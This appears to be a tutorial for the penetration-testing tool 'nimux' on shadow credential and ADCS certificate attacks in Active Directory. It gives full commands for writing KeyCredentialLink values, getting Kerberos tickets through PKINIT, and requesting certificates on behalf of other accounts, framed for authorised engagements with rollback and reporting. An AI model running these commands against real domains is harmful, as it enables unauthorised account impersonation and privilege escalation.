Shadow Credentials and ADCS with nimux

Overview

Shadow credentials and ADCS paths are identity attacks built around certificate-backed authentication. A successful path can allow an operator to authenticate as an account through PKINIT or certificate mapping without knowing the account password.

nimux includes LDAP certificate inventory, KeyCredentialLink workflows, ADCS request paths, and certificate authentication. This article keeps the workflow neutral and focuses on validation, rollback, and evidence quality.

Start with certificate inventory

Before modifying anything, enumerate certificate-related account attributes and ADCS exposure.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --cert-inventory \
  --json > cert-inventory.jsonl

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --adcs \
  --json > adcs-inventory.jsonl

Inventory should answer:

• Which accounts already have certificate material?
• Which templates are available?
• Which certificate authorities are reachable?
• Which accounts have write paths to certificate mapping attributes?
• Which accounts have KeyCredentialLink write paths?

Shadow credential validation

If the operator has permission to write KeyCredentialLink on a target account, use a scoped shadow credential output prefix. This makes generated files easy to track and clean up.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --shadow-creds \
  --user target.account \
  --shadow-out target-shadow \
  --rollback-out shadow-rollback.jsonl

The output prefix should produce certificate material that can be used for authentication. Store it securely and remove it after the test if the engagement does not require retaining it.

Authenticate with generated certificate material

When --shadow-out is used, nimux writes certificate and key material using the supplied prefix and then attempts native PKINIT automatically. The expected files are target-shadow.crt, target-shadow.key, target-shadow.shadow-ca.pem, and target-shadow.ccache when PKINIT succeeds.

Validate the generated cache with a low-impact Kerberos-backed command:

nimux winrm workstation01.corp.local -d corp.local -k \
  --ccache target-shadow.ccache \
  --cmd whoami

If you already have certificate material from an approved ADCS workflow, the ADCS authentication helper can request a Kerberos cache from either a PFX file or a certificate plus key:

nimux ldap dc01.corp.local -d corp.local \
  --adcs-auth \
  --upn [email protected] \
  --pfx target-shadow.pfx \
  --ccache target-shadow.ccache

nimux ldap dc01.corp.local -d corp.local \
  --adcs-auth \
  --upn [email protected] \
  --cert target-shadow.crt \
  --key target-shadow.key \
  --ccache target-shadow.ccache

ADCS request workflow

If the path involves requesting a certificate from a template, keep the CA, template, and output prefix explicit.

nimux ldap ca01.corp.local -d corp.local -u operator -p '<password>' \
  --adcs-request \
  --ca CORP-CA \
  --template UserAuth \
  --out operator-cert

For RPC enrollment:

nimux ldap ca01.corp.local -d corp.local -u operator -p '<password>' \
  --adcs-request --adcs-rpc \
  --ca CORP-CA \
  --template UserAuth \
  --out operator-cert-rpc

If enrollment-agent or on-behalf-of behavior is in scope, document the template relationship clearly:

nimux ldap ca01.corp.local -d corp.local -u operator -p '<password>' \
  --adcs-request \
  --ca CORP-CA \
  --template EnrollmentAgentTemplate \
  --on-behalf-of 'corp\target.account' \
  --out delegated-cert

Rollback and cleanup

Certificate abuse paths are easy to leave behind. Always verify post-state.

nimux ldap dc01.corp.local -d corp.local -u operator -p '<password>' \
  --filter '(sAMAccountName=target.account)' \
  --attrs msDS-KeyCredentialLink,altSecurityIdentities

Remove temporary mappings or KeyCredentialLink values according to the rollback plan. Keep generated PFX, key, and ccache files in secure storage only as long as necessary.

Reporting

Useful evidence includes the source principal, target account, affected attribute, certificate template, CA name, authentication result, and rollback status.

Avoid reporting only that a certificate was obtained. The finding is the identity control path that allowed certificate-backed authentication.